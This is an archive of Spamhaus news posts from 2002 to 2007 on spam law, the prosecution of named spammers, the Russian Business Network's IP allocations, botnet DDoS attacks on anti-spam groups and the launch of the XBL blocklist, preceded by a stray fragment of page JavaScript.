if(y > tt\_maxPosY) y = tt\_DoPosYAbove(); if(y 0 && dy a) ? (now >= z) : (now Related articles:- US CERT: Storm Worm Activity Increases During Holiday Season.- F-Secure: Storm action continues.- SecurityZone: Also spread using blog-spamming.- Dancho Danchev's Blog: Riders on the Storm Worm.- Fergie's Tech Blog: ZLOB worm sites are now Storm worm sites.- PCWorld: Storm Worm Tempts With Christmas Strip Show.- ISC-SANS: Anticipated Storm-Bot Attack Begins.- Arbor: Storm is Back, Dude!- CastleCops: Mrs. Claus gone wild :)- McAfee: uhavepostcard.com

RBN as Chinese as Caviar & Borscht

The Spamhaus Team — Fri, 16 Nov 2007 05:39:00 GMT

When the routes to the older IP address mapped to the Russian Business network began to no longer route on the internet, Spamhaus noticed a new set of IP addresses and ASN numbers mapping into the same upstream network. The Whois data for these showed Chinese company names and .cn/.tw email addresses. But just because you call yourself Chan does not mean you're not still Ivan. The IP addresses and ASN numbers were obtained from RIPE, the European RIR, who assured Spamhaus that the allocation 'was perfectly correct at the time it was made under existing RIPE rules and procedures'. Spamhaus posted this data in RBN's ROKSO record and mentioned this sleight-of-hand. However this didn't stop the word spreading in online news that RBN had moved to Chinese networks. Yes, China has huge spam and cybercrime hosting issues, but in this case there was no Chinese vector other than the fake company names and contact addresses. A bit of good news is that only one of these new IP address ranges is currently visible on the internet. That one, "91.198.71.0/24", has no detectable web or DNS servers. However as the original RIPE allocations do not appear to have been revoked, the IP address ranges and routes could reappear, at any time, and traffic could appear to go to any destination on the Internet. As with all these spam and cybercrime hubs, Spamhaus recommends ISPs and networks use our Don't Route Or Peer list.

ROKSO Spammer Robert Soloway Arrested

The Spamhaus Team — Wed, 30 May 2007 20:00:00 GMT

On May 30, 2007, one of the most persistent professional spammers, Robert Alan Soloway, was indicted by a grand jury in Seattle, Washington, on charges that include fraud, money laundering, and identity theft. The indictment followed a years-long joint investigation by the Washington State Attorney General's Office, the Federal Bureau of Investigation (FBI), the Federal Trade Commission (FTC), the Internal Revenue Service Department of Criminal Investigations (IRS-CI), and the U.S. Postal Inspection Service (USPIS). Robert Alan Soloway has been a long term nuisance on the internet. He has been sending enormous amounts of spam for years, filling mailboxes and mail servers with unsolicited and unwanted junk email. In addition, he has fraudulently marketed his spam services to others as legitimate 'opt-in' services when they were anything but that, duping innocent users and then failing to provide promised customer support or refunds. Because Soloway spammed through hijacked computers and open proxies, he has repeatedly violated both the Computer Abuse and Fraud Act of 1984 and the CAN-SPAM law of 2003. Soloway first appeared in the Spamhaus Block List (SBL) in 2001. In 2003, he was listed on Spamhaus's Register of Known Spam Operations (ROKSO), a list of the world's "worst of the worst" criminal spammers. Spamhaus spamtraps continued to receive spam solicitations from Soloway advertising his services through the weekend before today's indictment. Soloway's violations of the U.S. CAN-SPAM law and various state anti-spam laws resulted in his being sued successfully by a number of plaintiffs, including Microsoft Corporation and Robert Braver, owner of an Oklahoma-based ISP. Both Microsoft and Braver received damage awards of millions of dollars. Soloway never paid these awards, claiming that he lived off of the proceeds of a family trust and was therefore "judgement-proof." In September 2005 in Oklahoma City, after Soloway had fired his lawyers and then failed to appear to represent himself in court, U.S. District Judge Ralph G. Thompson issued a permanent injunction against Soloway, forbidding him to continue sending spam that violated the CAN-SPAM act. Soloway ignored this injunction as well and continued to spam. Today, Soloway was arrested and brought before the U.S. District Court in Seattle, Washington, where he was indicted on multiple counts of money laundering, wire fraud, mail fraud, and identity theft by a federal grand jury. If convicted of all charges, he could theoretically face up to 65 years in prison. Although his custodial sentence if convicted is likely to be substantially less than 65 years, he nonetheless faces a significant stay in the U.S. federal penitentiary system. Spamhaus commends the Seattle FBI and U.S. Attorney for ensuring that the indictment contains both spam-related and non-spam-related counts, and on preparing an indictment which shows so clearly the profile of the typical spammer's activities, such as fraud, identity theft, and other online deception. Spamhaus recognizes that a successful prosecution requires careful preparation which inevitably takes longer than the victims of the crime wish. Careful preparation is essential in cases involving CAN-SPAM violations, since the CAN-SPAM Act does not yet have extensive case-law to support it. Spamhaus is also pleased to note that Soloway's arrest warrant recognizes that he is a serious flight risk, in light of his history of bragging that he is judgement-proof and able to move quickly to avoid prosecution. Soloway's ROKSO records provide a detailed picture of his spam operation, including evidence of Soloway hiring virus authors to create networks of spam zombies. Although Soloway's public behavior has been more egregious than many spammers, his spam-related activities are similar to those of many of the world's top spammers. Spamhaus hopes that his prosecution proves to be the first of many such prosecutions.

Summer Spam Suits Show Some Success

The Spamhaus Team — Fri, 08 Sep 2006 00:00:00 GMT

Microsoft Corporation has won what could be the largest award against a spammer in Europe thus far. Paul Fox, whose e-mail messages were intended to direct people toward his pornographic websites, was forced by a court order to pay Microsoft 45,000 pounds ($84,177) for breaching the terms and conditions of Microsoft's free Hotmail service. Those terms explicitly prohibit the delivery of spam to Hotmail users. Sadly, this victory does point out the failure of the British legal system to tackle spam. Despite efforts by the Information Commissioner's Office to gain power from the Department of Trade & Industry to deal with spam, Information Commissioner Richard Thomas' office does little. As it can only deal with spam originating in the United Kingdom, the actions it can take are very limited. Microsoft's actions show that at this time, only private civil action can be used to deter spammers in the legal arena. And in the USA, a Nevada based spamming company has been ordered to pay Earthlink 5.8m pounds ($11m) for spamming the ISP's customers. Earthlink won the judgment in a CAN-SPAM law suit filed in a federal court in Atlanta against "KSTM LLC." According to Earthlink, this business illegally sent millions of mortgage-touting emails. The civil case also requires the spammers to follow the law (yes, hard to belive!), including not falsifying the "from" field in the e-mail address (spoofing), not hiding the identity of the email sender (cloaking) and bans them from selling Earthlink's e-mail addresses or accessing or obtaining EarthLink accounts. In a press release, EarthLink's Assistant General Counsel Larry Slovensky stated, "This judgment should be fair warning that if you spam, we will sue." Along with Microsoft and AOL, Earthlink is one of the most active litigators against spammers, boasting that since 1996 it has won more than 100m pounds ($200m) in judgements and succeeded in getting two spammers sent to jail. None of these companies ever collect much of these awards from spammers, most spammers seem to squander their ill gotten gains quickly, and the ones that do not, hide away their monies in off-shore accounts to avoid these litigation judgements and to avoid paying any tax.

Australian Spam Act Nails First Spammer

The Spamhaus Team — Thu, 23 Jun 2005 00:00:00 GMT

The Australian Communications Authority (ACA) has taken action against a spammer in the first case to be brought under Australia's Spam Act. Spammer Wayne Mansfield, listed in Spamhaus ROKSO database, is charged with sending at least 56 million commercial emails in twelve months after the Spam Act 2003 commenced in April 2004. Most of the messages are believed to have been unsolicited and in breach of the Act. The ACA also alleges that Clarity1, which uses the trading names Business Seminars Australia and the Maverick Partnership, harvested some of the email addresses to which emails have been sent. It further alleges that Clarity1 Pty Ltd sent the emails from a network of servers around the world. ACA Acting Chairman, Dr. Bob Horton, said that because of the scale of the alleged breaches, the ACA is seeking an interim injunction against Clarity1 to be in force until the court hearing. Mr Mansfield and Business Seminars Australia are listed by UK-based international anti-spam watchdog, Spamhaus, as allegedly one of the world's top 200 spammers. The top 200 produce 80 per cent of the world's email spam. Dr Horton said the ACA wrote to alleged Australian-based spammers on the Spamhaus list before the Spam Act commenced in April last year. "We advised them that they were required to comply with the new Act," he said. "Spamhaus subsequently reported that several major Australian spammers on their list had stopped operating, or left the jurisdiction." "However, this particular operation continues today allegedly in breach of the Act." Penalties for contravention of the Spam Act can be up to $220,000 per day for first-time corporate offenders and up to $1.1 million per day for repeat offenders. Profits can also be forfeited and compensation paid to victims. Dr. Horton said the reporting of spam emails by the public both in Australia and overseas had made a significant contribution to the investigation. The ACA had received complaints from as far away as the United Kingdom.

The Threat from the Net

The Spamhaus Team — Wed, 27 Apr 2005 17:45:00 GMT

During two keynote speeches at the Infosecurity Europe conference at Olympia (London UK), Lord Harris of Haringey warned the UK government of the serious threat to Critical National Infrastructure posed by groups of E-vandals and criminal gangs, and the fact that the UK has neither systematic protection nor a response strategy in place. Spamhaus has for a number of years been attacked on a regular basis by giant botnets operated by these same groups, and has had to put its own substantial defences in place to survive electronic attacks, sophisticated defenses which most companies could not afford to implement. But neither Spamhaus, Microsoft nor any other target of these attacks can respond to them in isolation. From our own experience, and daily contact with specialist investigators around the world working on botnet cases, Spamhaus endorses every word of Lord Harris's excellent speech. With the exception of the very few Internet expert politicians such as Lord Harris and Richard Allan MP, politicians in the UK and USA have failed to realise the serverity of the threat of cyber-attacks, and as a result no action has been taken to mitigate it. Law enforcement agencies on both sides of the Atlantic are severely under-resourced in their E-crime strategy, so much so that only high-profile cases are handled. With the best will in the world the number of agents available to take on the plethora of E-crime cases is severely limited by funding. Spamhaus believes this is a dangerous strategy because in so many cases the intelligence needed to handle the serious issues is best acquired by responding to smaller incidents. We are routinely able to trace and locate botnet controllers but the legal resources on the ground to "knock the door down" and seize the controller are in most cases not there. We have seen many times with botnet and virus gangs, where extensive evidence of E-crime has been passed to security agencies, almost all cases involving cross border enforcement end up being filed under "too difficult", meaning lack of resources, meaning lack of government funding. Privacy laws, drafted to allow an effective response where communications are an ancillary to crime, become a serious obstacle to investigating crimes where the communications system is the weapon used by Internet criminals. Transnational networks, such as MCI, XO and Above Net, who are in a unique position to identify and remove the sources of such attacks, routinely turn a deaf ear to network specialists trying to report incidents for their attention. With Internet crime at an all-time high, Internet users are being flooded with spam-borne bank phishing scams while their private PCs are hijacked into spam proxynets and botnets for criminal use. Spamhaus believes that unless the industry becomes willing to develop a more positive response strategy, the incoming UK government should develop legislation to address the cybercrime threat and to protect Britain's critical national infrastructure from cyber-attack.

Increasing Spam Threat from Proxy Hijackers

The Spamhaus Team — Thu, 03 Feb 2005 23:15:00 GMT

Spam, now at 75% of all email traffic arriving at most ISPs mail servers, has come mainly from two types of source - either sent directly by the spammer, or sent by the spammer through a hijacked computer (proxy). For most anti-spam systems these two sources have been relatively easy to deal with, as they can both be efficiently blocked. But sources are changing, and with them spam volumes. Over the last few months a number of major email services reported to Spamhaus that the source of their incoming spam was changing and they were seeing far more spam coming directly from the major mail relays of other ISPs. AOL, one of the first to notice the change months before others, now reports that over 90% of its incoming spam comes directly from other ISP mail relays. This change in proxy-spam activity is caused by new versions of the stealth proxy spam software ("spamware") released by proxy spammers, software specially written to take control of private computers, usually those on the world's broadband networks, and to use them to send out spam for pornography or illegal drugs from without the PC owner's knowledge or permission, by acting as an anonymous "proxy" for the spammer. New versions of proxy spamware packages released by Russian spammers operating in the US now have a feature which instructs the hijacked proxy to send the spam out via the mail relay of the ISP the proxy is downstream of. Spamhaus sees this change and the increase in spam it is producing as a threat to be taken seriously. At the current pace of ever-incrementing spam levels Spamhaus predicts that by mid-2006 spam could reach 85% of all email traffic and we would at that stage begin to see visible signs of a slow meltdown of some email delivery systems caused by overloaded email queues and stressed spam filters. We are now increasing our efforts to tackle the vendors of illegal proxy hijacking software, and those who knowingly host them, and advising mail services to take protective measures to avoid or lessen the problem, such as, 1) Throttle the outgoing mail from IPs of broadband customers, 2) Separate the incoming and outgoing SMTP servers, 3) Mandate email authentication (SMTP-AUTH) for all customers. Update: 2005-02-04 20:10:41 NB: Contrary to a press article which reported erroniously that we had stated that the world's email delivery system is "about to collapse" (a misquote based on which a number of 'competitive' security solutions vendors including spam filter firm Postini then jumped in to criticize what they didn't realize wasn't correct), we stress that - as our article states above - Spamhaus states we see the rise in spam and change in spam source as a threat which, if not acted on, would in a year's time begin to cause email delivery problems. Collapse? Certainly not. Serious threat? Certainly.

Jeremy Jaynes Gets 9 Years for Spamming

The Spamhaus Team — Thu, 04 Nov 2004 00:00:00 GMT

[Update: The 9 year sentence was overturned on appeal, the spammer did go to prison for other crimes] Jeremy Jaynes of Raleigh, North Carolina, a prolific spammer who operated using the alias 'Gaven Stubberfield' and was listed by Spamhaus' ROKSO database as being the 8th most prolific spammer in the world, has been convicted of spamming using deceptive routing information to hide the source. A Virginia court recommended Jaynes spend nine years in prison for sending hundreds of thousands of unwanted e-mail messages. Virginia Attorney General Jerry Kilgore said Jaynes was found guilty under a Virginia state law that prohibits e-mails marketers from sending more than a certain amount of spams within a given time frame and prohibits the use of fake e-mail addresses. Jaynes' sister, Jessica DeGroot, was also found guilty and fined $7,500. An associate, Richard Rutkowski of eVictory Consulting (known to Spamhaus as being involved in "National Wealth Builders" spamming), was found not guilty. A Loudoun County jury decided that Jeremy Jaynes, 30, and his sister Jessica DeGroot, 28 flooded tens of thousands of AOL email accounts with unsolicited email. The jury recommended that Jaynes spend nine years in prison and that DeGroot pay $7,500 in fines for violating Virginia's anti-spam law. Although both Jaynes and DeGroot lived in North Carolina, Virginia asserted jurisdiction because they sent messages through server computers located in the state.

Follow Australia!

The Spamhaus Team — Mon, 19 Jul 2004 00:00:00 GMT

United Nations - World Summit on the Information Society International Telecommunication Union (ITU) Geneva, Switzerland The message conveyed by the UN spam conference to the delegates from 60 countries was clear, spam in July was 76% of all email, is now costing national economies US$25 Billion a year, the problem continues to accelerate, spam gangs are becoming ever more aggressive, existing legislation is not working. But Spamhaus executives at the UN conference had welcome news for the Australian delegation: Spamhaus is seeing a reduction in activity by the known Australian spammers. In fact, since the introduction of Australia's strong anti-spam law - the world's best anti-spam law to date - Australian spammers have been keeping a low profile, many appear to have almost ceased activities and at least one is known to have left the country. The Australian anti-spam law, is working. Australia's strong opt-in anti-spam law which came into effect on 10 April 2004, enforced by the Australian Communications Authority, provides for penalties of $1.1 million a day for professional spammers. "We're going to come down on spammers like a ton of bricks" Australia's Communications Minister Richard Alston said in late 2003, and many Australian spammers it seems have got the message. So with spam activity fast accelerating in other countries, moreso in the U.S. following the introduction of the disastrous CAN-SPAM Act which has legalized opt-out spamming instead of banning it, governments looking to get it right and implement effective legislation need look in one direction only - Follow Australia!

Spammer Arrests herald FTC Crackdown on Illegal Spamming

The Spamhaus Team — Thu, 29 Apr 2004 09:41:00 GMT

For many months the Spamhaus team have been working with teams from Law Enforcement Agencies in the United States and United Kingdom helping put together cases against the known spammers. We are very pleased to see arrests of spammers by the FTC now taking place, and look forward to the many more arrests we know are on the way over the next few months. Phoenix Avatar LLC, brothers Daniel and James Lin (closely connected with Detroit Spam King Alan Ralsky), Mark Sadek and Chris Chung, intentionally sent spam through proxies, with fake Return-Path addresses, believing themselves to be too smart to get caught. Almost all cases in progress involve spammers spamming through compromised proxies, all of whom believe themselves to be untraceable operating "offshore". It is exactly the offshore aspect that makes them targets and which provides the evidence necessary to convict them. The majority of illegal proxy spam is sent by known US-based spammers through computers which have been deliberately infected with viruses by Russian spam gangs, whom in turn sell lists of "freshly infected proxies" to the US-based spammers. Spammers purchasing lists of "fresh proxies" and sending spam through them hoping to hide the origin are committing criminal acts in numerous countries and are the spammers the law enforcement agencies have been concentrating on since the introduction of the CAN-SPAM Act in the U.S in January. With the introduction of the CAN-SPAM Act in the U.S. spam soared to new heights as spammers already spamming via illegal proxies simply moved "offshore" and continued using proxies, while other spammers realized that CAN-SPAM actually made spamming legal as long as they followed certain rules, such as not using proxies. Instead of being stopped by CAN-SPAM, large professional spammers such as Scott Richter actually invested in even more spamming hardware, now sending far more spam than ever, all now "legally" under U.S. law thanks to CAN-SPAM. Although CAN-SPAM cannot touch Richter and many of the large spammers, and only encourages them to spam more, the few useful provisions in CAN-SPAM which ban the sending of spam through proxies or with fraudulent Return-Paths and Received lines are now having a good effect on the "offshore" spammers determined to keep spamming illegally, as the warrants for arrest of Daniel Lin, James Lin and the other spammers announced today show, and on which Spamhaus heartily congratulates the U.S. Federal Trade Commission and the U.S. Postal Service.

Spamhaus Releases Exploits Block List (XBL) to Combat Illegal Spam Relaying

The Spamhaus Team — Thu, 01 Jan 2004 06:00:00 GMT

London, 1 January 2004 To help stop the rising tide of spam coming from illegal 3rd party exploits, the Spamhaus Project today released the Exploits Block List (XBL), a realtime DNS-based database of IP addresses of illegal 3rd party exploits, including open proxies (HTTP, socks, AnalogX, wingate, etc), worms/viruses with built-in spam engines, and other types of trojan-horse exploits utilized by spammers. Spam comes from two main sources; it is either sent directly from the spammer's own IP addresses, or is sent via 3rd party exploits in an effort to obfuscate the origin. The XBL is designed to sit alongside the Spamhaus Block List (SBL) which blocks incoming spam from direct spam sources. The XBL wholly incorporates the highly-trusted CBL (Composite Block List) from cbl.abuseat.org and is available immediately free of charge as xbl.spamhaus.org. The combination of SBL and XBL enables ISPs to safely reject a high volume of incoming spam outright, without needing to accept it into their mail queues for processing. This enables the use of further slower post-receipt spam filters to process a vastly reduced volume of remaining spam. Because of the fail-safe design of DNS-based blocklists, both the SBL and the XBL provide instant feedback to the Sender in the event an incoming message is rejected, informing the Sender via the standard SMTP rejection (bounce) message of the reason the message was rejected and what to do about it. This differs from post-receipt spam filter systems which accept all email and then silently discard or route to a trash mailbox email identified as spam without the Sender knowing. Because of the SBL's reputation for precision combined with the fail-safe design of block lists, the Spamhaus Block List was widely adopted in 2003 by major banks, airlines and industries to whom email delivery integrity is vital. In December 2003 the number of mail users protected by the SBL surpassed 200 Million. With the addition of the XBL, Spamhaus aims to provide the maximum spam blocking possible with the safest solution. For more information see: http://www.spamhaus.org/xbl

United States set to Legalize Spamming on January 1, 2004

The Spamhaus Team — Sat, 22 Nov 2003 22:00:00 GMT

Against the advice of all anti-spam organizations, the U.S. House of Representatives has passed the CAN-SPAM Act, a bill backed overwhelmingly by spammers and dubbed the "YOU-CAN-SPAM" Act because it legalizes spamming instead of banning it. Spam King Alan Ralsky told reporters the passage of the House bill "made my day". Spammers say they will now pour money into installations of new spam servers to heavily ramp up their outgoing spam volumes "all legally". CAN-SPAM is expected to pass the Senate next week and be signed into law by President Bush on January 1, just in time to kill off California's strong anti-spam law which would have come into effect on January 1 making spamming illegal in California. With the passage of CAN-SPAM, spamming will be officially legal throughout the United States, CAN-SPAM says that 23 million U.S. businesses can all begin spamming all U.S. email addresses as long as they give users a way to opt-out, which users can do by following the instructions of each spammer. Anyone with any sense would of course realize that if CAN-SPAM becomes law, opting out of spammers lists will very likely become the main daytime activity for most U.S. email users in 2004. The second main activity will be sorting through mailboxes crammed with 'legal' spam every few minutes to see if there's any email amongst the spam. If CAN-SPAM becomes law, from January Europe and the United States will have opposing legislation, as Europe has already introduced legislation making spamming illegal. But 90% of Europe's spam problem originates in the United States where spamming will now be legal, therefore Europe can expect the levels of incoming spam from the United States to more than double during 2004 as U.S. spammers ramp up their output under America's new YOU-CAN-SPAM law. What this will do for relations between Europe and the United States, is easy to predict with millions of European Internet users already angry at being deluged in American "make-penis-fast" spam. From December 11, spamming will be illegal in the UK, but with 90% of the UK's spam problem originating in the United States, British users will continue to be flooded, now with 'legal' spam from the U.S. Some spammers are claiming that CAN-SPAM not only allows them to spam legally but that it protects them further by also making it illegal for anti-spam systems to block their spam. In fact, while CAN-SPAM is an abysmally poor law, at least it does have some parts which attempt to address the issue of blocking spam, specifically it states that the law does not impact an ISP's ability to determine and enforce its own policies for transmission of email (i.e: through the use of blocklists or whatever means the ISP likes). This means that spammers cannot sue ISPs for blocking the mail they send claiming that the ISP must accept and deliver it based on the Federal law. The fact CAN-SPAM makes illegal the use of open proxies or any form of resource misappropriation as well as use of false headers, specifically impacts spammers such as Michigan's Alan Ralsky, as all of Ralsky's spam is sent out with false headers, all through stolen open proxies. So CAN-SPAM does at least give us the law we need to put Ralsky and most of the ROKSO spammers in jail. To avoid jail, spammers will have to spam from their own resources, readily identifiable IP addresses, rather than steal 3rd party relays and proxies. The problem there, which from January will affect all U.S-based spammers, is that their IPs are constantly listed on the SBL ("Spamhaus Block List"), Spamhaus' free anti-spam system used by ISPs throughout the Internet to reject incoming spam from known spam sources. Therefore one effect of CAN-SPAM we will notice, is that CAN-SPAM will channel spammers straight into Spamhaus' filter which means that in 2004 our SBL system is going to be in even greater demand.

Spammers Release Virus to Attack Spamhaus.org

The Spamhaus Team — Sun, 02 Nov 2003 20:00:00 GMT

A new virus released by spammers on Saturday 1st November is infecting computers worldwide, and this time the purpose of the virus is to attack www.Spamhaus.org. The W32.Mimail.E virus is the latest in a string of viruses, each one released by spammers for the purpose of creating a vast worldwide network of spam-sending machines and building an attack network consisting of hundreds of thousands of virus-infected zombie machines with which the spammers then attack anti-spam organizations. W32.Mimail.E is designed to infect computers worldwide causing them to each begin making overwhelming amounts of bogus requests to Spamhaus.org's web server, www.spamhaus.org, and also attacks the web servers of www.spamcop.net and www.spews.org. Spamhaus began coming under massive distributed Denial of Service (dDoS) attacks in July 2003, soon after the release of the SoBig.E virus and the Fizzer virus (W32.HLLW.Fizzer). In June Spamhaus stated that spammers had now moved from simple spamming through open proxies to actually manufacturing and sending out viruses to create a network of spam proxies, infecting hundreds of thousands of mainly home-user machines on broadband (ADSL) lines. Fizzer (W32.Fizzer-A) in particular is a very wide-spread worm which spreads by emailing itself to contacts in Microsoft Outlook and Windows address books. The purpose of Fizzer is to install a minature web server on which spammers then host typically "pills & porn" sites, an IRC backdoor, and a DoS attack tool specifically for attacking anti-spam organizations. In August and September 4 anti-spam systems were forced into closure under overwhelming dDoS attacks that hit them for weeks at a time. Spamhaus itself was subjected to the same intense dDoS attacks for 3 months but survived thanks to its large distributed network capable of absorbing the attacks. Still, expecting more attacks, in mid September we moved the Spamhaus web site behind an anti-dDoS device known as iSecure supplied by Melior CyberWarfare Defence (www.ddos.com) and can therefore now withstand the waves of dDoS attacks.

The Spam Definition and Legalization Game

The Spamhaus Team — Wed, 14 May 2003 11:29:00 GMT

The word Spam means "Unsolicited Bulk Email". Unsolicited means that the Recipient has not granted verifiable permission for the message to be sent. Bulk means that the message is sent as part of a larger collection of messages, all having substantively identical content. But ask a spammer and he'll claim spam is something else. The anti-spam community was caught off guard, not realizing that spammers were trying to redefine the word "Spam" in order to confuse law makers and legalize Unsolicited Bulk Email. Out-of-the-blue spammers began touting a new definition, redefining "spam" to mean "that which we do not send". Spams appeared claiming "this is not spam since we include a way to be removed" or "this is not spam since it is not a scam". The notoriously pro-spam Direct Marketing Association, whose president Robert Weintzen had stated "We see [Spam] as freedom of commercial speech", were quick to realize they could spin-doctor the word "Spam" to make it not apply to their members. Hence to everyone's surprise (or not), the DMA stated that "Spam" was "only porn and scams, sent fraudulently" and all normal spam was magically "not spam". Few in the anti-spam and ISP communities saw the trick coming, since spam has always been Unsolicited Bulk Email and the spam issue is not about content, it's solely about delivery method. The content of spam is and has always been irrelevant, if it's sent Unsolicited and in Bulk it is spam plain and simple. All ISP contracts ban the sending of Unsolicited Bulk Email, the Webster's dictionary defines spam as Unsolicited Bulk Email, every anti-spam organization has always defined spam as Unsolicited Bulk Email (see link below to the Definition of "Spam") When the United States Congress calls in the consultants to consult on new anti-spam laws, they don't call anti-spam organizations or email systems consultants, they call the DMA as the US government's 'authority' on the spam problem. Like drunk drivers consulting on drink-driving laws, the DMA happily tells Congress spam is "not spam" in order to get Congress to not ban but to actually legalize the sending of Unsolicited Bulk Email. Hence the US Government has almost no chance of bringing in an anti-spam law this year (2003/2004), since Congress only listens to who lobbies with the most funds and the DMA always wins by many miles. There is now the strongest chance ever that Congress in its confused state will do exactly the opposite of banning spam. What will happen now is that Congress will quite quickly bring in a law edited by the DMA. That law will allow spam (because the DMA are telling Congress that "spam is not spam") and will merely have sanctions against the sending of spam with fraudulent headers (sanctions which already exist in most state laws anyway). Congress will tout it as an anti-spam law but it will actually be a pro-spam law, finally legalizing the sending of Unsolicited Bulk Email, i.e: legalizing spamming. At that point, in effect a law will exist saying "You CAN spam, just don't use fake headers" and it will unleash the 23 Million small businesses in North America alone who suddenly will be allowed to spam backed by a law saying so. The spam problem will go from "terrible" to "meltdown of the email system" in the space of 14-18 months after that. Congress will then be forced to rush in a new law to counter the disastrous effects of the first and properly ban spam, i.e: ban the sending of "Unsolicited Bulk Email". So we will eventually get the anti-spam law we want, but it looks very probable that we will have to let Congress make the mistake in order for Congress to learn from the mistake. But there is an advantage to the anti-spam community in allowing Congress to go the DMA's route and that is that with a DMA-backed pro-spam law this whole spam problem will implode and self-terminate as the entire online population revolts not just against the law makers but against Direct Marketing itself. The staggering volumes of spam Internet users will be subjected to by the DMA's members (who will predictably claim in every spam that "This spam is not spam and the law says so"), volumes of junk many orders of magnitude worse than today's spam problem will turn the public against all Direct Marketing. The public will hold Direct Marketers responsible for the annihilation of email as a communications medium and that in itself might bring us a new dawn where Direct Marketing discovers ethics and stops treating the Internet as an infinite pool of suckers trained to press "delete" all day. The DMA is shooting itself in both feet, should we stop them?

Spamming is now a Crime in Virginia

The Spamhaus Team — Wed, 30 Apr 2003 14:22:00 GMT

The State of Virginia on Tuesday 29th April 2003 enacted the toughest anti-spam legislation of any US State so far, imposing harsh felony penalties for sending spam to computer users through deceptive means. Spammers who send Unsolicited Bulk Email to or from Virginia with a bogus return address, or via exploits such as stolen open proxies, now face criminal penalties, paying massive fines and spending up to five years in jail. The new law would also empower officials to seize the assets of those convicted of sending deceptive bulk e-mail. Virginia Gov. Mark Warner (D) signed the new legislation at the Dulles-based headquarters of AOL, which has joined Microsoft, Yahoo and others in its own anti-spam crusade.

Europe Outlaws Spam

The Spamhaus Team — Thu, 30 May 2002 18:21:00 GMT

The European Parliament has decided to accept the Council's Common Position which would require senders of advertisements by "electronic mail" to have the recipient's prior consent. "Electronic mail" is defined broadly enough so as to include text messaging systems based on mobile telephony in addition to email. The 'opt-in' requirement for electronic mail will be in Article 13, Paragraph 1 of the new Directive concerning the processing of personal data and the protection of privacy in the electronic communications sector which will enter into force following its publication in the Official Journal. The Directive will guide the enactment of legislation throughout the European Economic Area, which includes the 15 EU Member States and European Free Trade Association members Norway, Iceland, and Liechtenstein. EU Members Austria, Denmark, Finland, Germany, Greece, and Italy as well as EFTA member Norway had already implemented 'opt-in' in their national legislation.